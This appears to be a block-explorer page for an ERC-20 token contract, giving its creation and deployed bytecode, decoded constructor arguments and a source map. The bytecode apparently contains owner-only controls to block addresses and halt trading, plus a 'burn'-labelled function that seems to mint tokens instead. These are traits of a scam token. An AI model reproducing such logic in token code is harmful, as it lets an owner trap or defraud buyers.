73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112f19190611a75565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113559190611a23565b60405180910390a3506113ba565b60011515600960009054906101000a900460ff161515146113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906119c3565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690611983565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818161147f9190611a75565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115209190611a23565b60405180910390a3505050565b505050565b60008135905061154181611f1b565b92915050565b60008135905061155681611f32565b92915050565b60006020828403121561156e57600080fd5b600061157c84828501611532565b91505092915050565b6000806040838503121561159857600080fd5b60006115a685828601611532565b92505060206115b785828601611532565b9150509250929050565b6000806000606084860312156115d657600080fd5b60006115e486828701611532565b93505060206115f586828701611532565b925050604061160686828701611547565b9150509250925092565b6000806040838503121561162357600080fd5b600061163185828601611532565b925050602061164285828601611547565b9150509250929050565b60006020828403121561165e57600080fd5b600061166c84828501611547565b91505092915050565b61167e81611aff565b82525050565b61168d81611b11565b82525050565b600061169e82611a59565b6116a88185611a64565b93506116b8818560208601611b54565b6116c181611c17565b840191505092915050565b60006116d9602383611a64565b91506116e482611c28565b604082019050919050565b60006116fc602983611a64565b915061170782611c77565b604082019050919050565b600061171f602283611a64565b915061172a82611cc6565b604082019050919050565b6000611742602683611a64565b915061174d82611d15565b604082019050919050565b6000611765602883611a64565b915061177082611d64565b604082019050919050565b6000611788602083611a64565b915061179382611db3565b602082019050919050565b60006117ab602183611a64565b91506117b682611ddc565b604082019050919050565b60006117ce602583611a64565b91506117d982611e2b565b604082019050919050565b60006117f1600083611a64565b91506117fc82611e7a565b600082019050919050565b6000611814602483611a64565b915061181f82611e7d565b604082019050919050565b6000611837602583611a64565b915061184282611ecc565b604082019050919050565b61185681611b3d565b82525050565b61186581611b47565b82525050565b60006020820190506118806000830184611675565b92915050565b600060208201905061189b6000830184611684565b92915050565b600060208201905081810360008301526118bb8184611693565b905092915050565b600060208201905081810360008301526118dc816116cc565b9050919050565b600060208201905081810360008301526118fc816116ef565b9050919050565b6000602082019050818103600083015261191c81611712565b9050919050565b6000602082019050818103600083015261193c81611735565b9050919050565b6000602082019050818103600083015261195c81611758565b9050919050565b6000602082019050818103600083015261197c8161177b565b9050919050565b6000602082019050818103600083015261199c8161179e565b9050919050565b600060208201905081810360008301526119bc816117c1565b9050919050565b600060208201905081810360008301526119dc816117e4565b9050919050565b600060208201905081810360008301526119fc81611807565b9050919050565b60006020820190508181036000830152611a1c8161182a565b9050919050565b6000602082019050611a38600083018461184d565b92915050565b6000602082019050611a53600083018461185c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a8082611b3d565b9150611a8b83611b3d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac057611abf611bb9565b5b828201905092915050565b6000611ad682611b3d565b9150611ae183611b3d565b925082821015611af457611af3611bb9565b5b828203905092915050565b6000611b0a82611b1d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b72578082015181840152602081019050611b57565b83811115611b81576000848401525b50505050565b60006002820490506001821680611b9f57607f821691505b60208210811415611bb357611bb2611be8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611f2481611aff565b8114611f2f57600080fd5b50565b611f3b81611b3d565b8114611f4657600080fd5b5056fea26469706673582212204cb10e8284e643e5ab60318fe4e18abbe434ad97bd20f068a8a63e012d228de964736f6c6343000801003300000000000000000000000000000000000000000000152d02c7e14af68000000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061012c5760003560e01c8063609c92b8116100ad5780639f87adc9116100715780639f87adc914610335578063a457c2d714610351578063a55626cb14610381578063a9059cbb1461039f578063dd62ed3e146103cf5761012c565b8063609c92b8146102a157806370a08231146102bf5780638129fc1c146102ef5780638f84aa09146102f957806395d89b41146103175761012c565b806323b872dd116100f457806323b872dd146101d75780632c7bf11814610207578063313ce56714610237578063395093511461025557806342966c68146102855761012c565b806306fdde0314610131578063095ea7b31461014f578063158ef93e1461017f57806318160ddd1461019d57806321860a05146101bb575b600080fd5b6101396103ff565b60405161014691906118a1565b60405180910390f35b61016960048036038101906101649190611610565b610491565b6040516101769190611886565b60405180910390f35b6101876104af565b6040516101949190611886565b60405180910390f35b6101a56104c6565b6040516101b29190611a23565b60405180910390f35b6101d560048036038101906101d0919061155c565b6104d0565b005b6101f160048036038101906101ec91906115c1565b6105b9565b6040516101fe9190611886565b60405180910390f35b610221600480360381019061021c919061155c565b6106ba565b60405161022e9190611886565b60405180910390f35b61023f610710565b60405161024c9190611a3e565b60405180910390f35b61026f600480360381019061026a9190611610565b610719565b60405161027c9190611886565b60405180910390f35b61029f600480360381019061029a919061164c565b6107c5565b005b6102a9610867565b6040516102b69190611a23565b60405180910390f35b6102d960048036038101906102d4919061155c565b61086d565b6040516102e69190611a23565b60405180910390f35b6102f76108b6565b005b61030161099e565b60405161030e919061186b565b60405180910390f35b61031f6109c8565b60405161032c91906118a1565b60405180910390f35b61034f600480360381019061034a919061155c565b610a5a565b005b61036b60048036038101906103669190611610565b610b43565b6040516103789190611886565b60405180910390f35b610389610c37565b604051610396919061186b565b60405180910390f35b6103b960048036038101906103b49190611610565b610c61565b6040516103c69190611886565b60405180910390f35b6103e960048036038101906103e49190611585565b610c7f565b6040516103f69190611a23565b60405180910390f35b60606005805461040e90611b87565b80601f016020809104026020016040519081016040528092919081815260200182805461043a90611b87565b80156104875780601f1061045c57610100808354040283529160200191610487565b820191906000526020600020905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b60006104a561049e610d06565b8484610d0e565b6001905092915050565b6000600960009054906101000a900460ff16905090565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461055e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055590611963565b60405180910390fd5b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006105c6848484610ed9565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610611610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610691576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068890611943565b60405180910390fd5b6106ae8561069d610d06565b85846106a99190611acb565b610d0e565b60019150509392505050565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60006009905090565b60006107bb610726610d06565b848460036000610734610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107b69190611a75565b610d0e565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084a90611963565b60405180910390fd5b61086461085e610d06565b826113bf565b50565b60075481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093b90611963565b60405180910390fd5b60011515600960009054906101000a900460ff1615151415610980576000600960006101000a81548160ff02191690831515021790555061099c565b6001600960006101000a81548160ff0219169083151502179055505b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546109d790611b87565b80601f0160208091040260200160405190810160405280929190818152602001828054610a0390611b87565b8015610a505780601f10610a2557610100808354040283529160200191610a50565b820191906000526020600020905b815481529060010190602001808311610a3357829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610adf90611963565b60405180910390fd5b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060036000610b52610d06565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0690611a03565b60405180910390fd5b610c2c610c1a610d06565b858584610c279190611acb565b610d0e565b600191505092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610c75610c6e610d06565b8484610ed9565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d7e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d75906119e3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de590611903565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ecc9190611a23565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f40906119a3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb0906118c3565b60405180910390fd5b60008111610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906118e3565b60405180910390fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061109d5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156110f95760001515600960009054906101000a900460ff161515146110f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ef906119c3565b60405180910390fd5b5b60011515600960009054906101000a900460ff1615151480611166575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806111bc575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611363576111cc83838361152d565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611253576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124a90611923565b60405180910390fd5b818161125f9190611acb565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112f19190611a75565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113559190611a23565b60405180910390a3506113ba565b60011515600960009054906101000a900460ff161515146113b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b0906119c3565b60405180910390fd5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561142f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142690611983565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818161147f9190611a75565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115209190611a23565b60405180910390a3505050565b505050565b60008135905061154181611f1b565b92915050565b60008135905061155681611f32565b92915050565b60006020828403121561156e57600080fd5b600061157c84828501611532565b91505092915050565b6000806040838503121561159857600080fd5b60006115a685828601611532565b92505060206115b785828601611532565b9150509250929050565b6000806000606084860312156115d657600080fd5b60006115e486828701611532565b93505060206115f586828701611532565b925050604061160686828701611547565b9150509250925092565b6000806040838503121561162357600080fd5b600061163185828601611532565b925050602061164285828601611547565b9150509250929050565b60006020828403121561165e57600080fd5b600061166c84828501611547565b91505092915050565b61167e81611aff565b82525050565b61168d81611b11565b82525050565b600061169e82611a59565b6116a88185611a64565b93506116b8818560208601611b54565b6116c181611c17565b840191505092915050565b60006116d9602383611a64565b91506116e482611c28565b604082019050919050565b60006116fc602983611a64565b915061170782611c77565b604082019050919050565b600061171f602283611a64565b915061172a82611cc6565b604082019050919050565b6000611742602683611a64565b915061174d82611d15565b604082019050919050565b6000611765602883611a64565b915061177082611d64565b604082019050919050565b6000611788602083611a64565b915061179382611db3565b602082019050919050565b60006117ab602183611a64565b91506117b682611ddc565b604082019050919050565b60006117ce602583611a64565b91506117d982611e2b565b604082019050919050565b60006117f1600083611a64565b91506117fc82611e7a565b600082019050919050565b6000611814602483611a64565b915061181f82611e7d565b604082019050919050565b6000611837602583611a64565b915061184282611ecc565b604082019050919050565b61185681611b3d565b82525050565b61186581611b47565b82525050565b60006020820190506118806000830184611675565b92915050565b600060208201905061189b6000830184611684565b92915050565b600060208201905081810360008301526118bb8184611693565b905092915050565b600060208201905081810360008301526118dc816116cc565b9050919050565b600060208201905081810360008301526118fc816116ef565b9050919050565b6000602082019050818103600083015261191c81611712565b9050919050565b6000602082019050818103600083015261193c81611735565b9050919050565b6000602082019050818103600083015261195c81611758565b9050919050565b6000602082019050818103600083015261197c8161177b565b9050919050565b6000602082019050818103600083015261199c8161179e565b9050919050565b600060208201905081810360008301526119bc816117c1565b9050919050565b600060208201905081810360008301526119dc816117e4565b9050919050565b600060208201905081810360008301526119fc81611807565b9050919050565b60006020820190508181036000830152611a1c8161182a565b9050919050565b6000602082019050611a38600083018461184d565b92915050565b6000602082019050611a53600083018461185c565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611a8082611b3d565b9150611a8b83611b3d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ac057611abf611bb9565b5b828201905092915050565b6000611ad682611b3d565b9150611ae183611b3d565b925082821015611af457611af3611bb9565b5b828203905092915050565b6000611b0a82611b1d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611b72578082015181840152602081019050611b57565b83811115611b81576000848401525b50505050565b60006002820490506001821680611b9f57607f821691505b60208210811415611bb357611bb2611be8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677261746572207460008201527f6861746e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611f2481611aff565b8114611f2f57600080fd5b50565b611f3b81611b3d565b8114611f4657600080fd5b5056fea26469706673582212204cb10e8284e643e5ab60318fe4e18abbe434ad97bd20f068a8a63e012d228de964736f6c63430008010033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000152d02c7e14af68000000000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : supply (uint256): 100000000000000000000000
Arg [1] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000152d02c7e14af6800000
Arg [1] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

1364:2330:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1918:91:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4057:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2072:82:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3010:108:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2402:95:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4708:422:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2505:105:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2862:83:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5539:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3499:93:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1501:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3181:127:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2162:124:4;;;:::i;:::-;;1170:92:3;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2128:95:1;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2295:99:4;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6257:377:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3601:90:4;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3521:175:1;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3759:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1918:91;1963:13;1996:5;1989:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1918:91;:::o;4057:169::-;4140:4;4157:39;4166:12;:10;:12::i;:::-;4180:7;4189:6;4157:8;:39::i;:::-;4214:4;4207:11;;4057:169;;;;:::o;2072:82:4:-;2116:4;2140:6;;;;;;;;;;;2133:13;;2072:82;:::o;3010:108:1:-;3071:7;3098:12;;3091:19;;3010:108;:::o;2402:95:4:-;1404:10:3;1395:19;;:5;;;;;;;;;;:19;;;1387:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;2485:4:4::1;2467:5;:15;2473:8;2467:15;;;;;;;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;2402:95:::0;:::o;4708:422:1:-;4814:4;4831:36;4841:6;4849:9;4860:6;4831:9;:36::i;:::-;4880:24;4907:11;:19;4919:6;4907:19;;;;;;;;;;;;;;;:33;4927:12;:10;:12::i;:::-;4907:33;;;;;;;;;;;;;;;;4880:60;;4979:6;4959:16;:26;;4951:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;5041:57;5050:6;5058:12;:10;:12::i;:::-;5091:6;5072:16;:25;;;;:::i;:::-;5041:8;:57::i;:::-;5118:4;5111:11;;;4708:422;;;;;:::o;2505:105:4:-;2563:4;2587:5;:15;2593:8;2587:15;;;;;;;;;;;;;;;;;;;;;;;;;2580:22;;2505:105;;;:::o;2862:83:1:-;2911:5;2936:1;2929:8;;2862:83;:::o;5539:215::-;5627:4;5644:80;5653:12;:10;:12::i;:::-;5667:7;5713:10;5676:11;:25;5688:12;:10;:12::i;:::-;5676:25;;;;;;;;;;;;;;;:34;5702:7;5676:34;;;;;;;;;;;;;;;;:47;;;;:::i;:::-;5644:8;:80::i;:::-;5742:4;5735:11;;5539:215;;;;:::o;3499:93:4:-;1404:10:3;1395:19;;:5;;;;;;;;;;:19;;;1387:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3557:27:4::1;3563:12;:10;:12::i;:::-;3577:6;3557:5;:27::i;:::-;3499:93:::0;:::o;1501:29::-;;;;:::o;3181:127:1:-;3255:7;3282:9;:18;3292:7;3282:18;;;;;;;;;;;;;;;;3275:25;;3181:127;;;:::o;2162:124:4:-;1404:10:3;1395:19;;:5;;;;;;;;;;:19;;;1387:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;2234:4:4::1;2224:14;;:6;;;;;;;;;;;:14;;;2220:59;;;2250:5;2241:6;;:14;;;;;;;;;;;;;;;;;;2220:59;;;2273:4;2264:6;;:13;;;;;;;;;;;;;;;;;;2220:59;2162:124::o:0;1170:92:3:-;1215:7;1242:12;;;;;;;;;;;1235:19;;1170:92;:::o;2128:95:1:-;2175:13;2208:7;2201:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2128:95;:::o;2295:99:4:-;1404:10:3;1395:19;;:5;;;;;;;;;;:19;;;1387:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;2381:5:4::1;2363;:15;2369:8;2363:15;;;;;;;;;;;;;;;;:23;;;;;;;;;;;;;;;;;;2295:99:::0;:::o;6257:377:1:-;6350:4;6367:24;6394:11;:25;6406:12;:10;:12::i;:::-;6394:25;;;;;;;;;;;;;;;:34;6420:7;6394:34;;;;;;;;;;;;;;;;6367:61;;6467:15;6447:16;:35;;6439:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6535:67;6544:12;:10;:12::i;:::-;6558:7;6586:15;6567:16;:34;;;;:::i;:::-;6535:8;:67::i;:::-;6622:4;6615:11;;;6257:377;;;;:::o;3601:90:4:-;3649:7;3676;;;;;;;;;;;3669:14;;3601:90;:::o;3521:175:1:-;3607:4;3624:42;3634:12;:10;:12::i;:::-;3648:9;3659:6;3624:9;:42::i;:::-;3684:4;3677:11;;3521:175;;;;:::o;3759:151::-;3848:7;3875:11;:18;3887:5;3875:18;;;;;;;;;;;;;;;:27;3894:7;3875:27;;;;;;;;;;;;;;;;3868:34;;3759:151;;;;:::o;601:98:0:-;654:7;681:10;674:17;;601:98;:::o;8814:346:1:-;8933:1;8916:19;;:5;:19;;;;8908:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9014:1;8995:21;;:7;:21;;;;8987:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;9098:6;9068:11;:18;9080:5;9068:18;;;;;;;;;;;;;;;:27;9087:7;9068:27;;;;;;;;;;;;;;;:36;;;;9136:7;9120:32;;9129:5;9120:32;;;9145:6;9120:32;;;;;;:::i;:::-;;;;;;;;8814:346;;;:::o;2618:873:4:-;2743:1;2725:20;;:6;:20;;;;2717:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;2827:1;2806:23;;:9;:23;;;;2798:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;2897:1;2888:6;:10;2880:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;2959:5;:13;2965:6;2959:13;;;;;;;;;;;;;;;;;;;;;;;;;:33;;;;2976:5;:16;2982:9;2976:16;;;;;;;;;;;;;;;;;;;;;;;;;2959:33;2955:67;;;3012:5;3002:15;;:6;;;;;;;;;;;:15;;;2994:28;;;;;;;;;;;;:::i;:::-;;;;;;;;;2955:67;3048:4;3038:14;;:6;;;;;;;;;;;:14;;;:33;;;;3066:5;;;;;;;;;;3056:15;;:6;:15;;;3038:33;:55;;;;3088:5;;;;;;;;;;3075:18;;:9;:18;;;3038:55;3034:450;;;3106:47;3127:6;3135:9;3146:6;3106:20;:47::i;:::-;3164:21;3188:9;:17;3198:6;3188:17;;;;;;;;;;;;;;;;3164:41;;3241:6;3224:13;:23;;3216:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;3337:6;3321:13;:22;;;;:::i;:::-;3301:9;:17;3311:6;3301:17;;;;;;;;;;;;;;;:42;;;;3378:6;3354:9;:20;3364:9;3354:20;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;3417:9;3400:35;;3409:6;3400:35;;;3428:6;3400:35;;;;;;:::i;:::-;;;;;;;;3034:450;;;;3473:4;3463:14;;:6;;;;;;;;;;;:14;;;3454:28;;;;;;;;;;;;:::i;:::-;;;;;;;;;3034:450;2618:873;;;:::o;8061:315:1:-;8164:1;8145:21;;:7;:21;;;;8137:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;8217:22;8242:9;:18;8252:7;8242:18;;;;;;;;;;;;;;;;8217:43;;8309:6;8292:14;:23;;;;:::i;:::-;8271:9;:18;8281:7;8271:18;;;;;;;;;;;;;;;:44;;;;8357:1;8331:37;;8340:7;8331:37;;;8361:6;8331:37;;;;;;:::i;:::-;;;;;;;;8061:315;;;:::o;9721:92::-;;;;:::o;7:139:5:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;152:139::-;;236:6;223:20;214: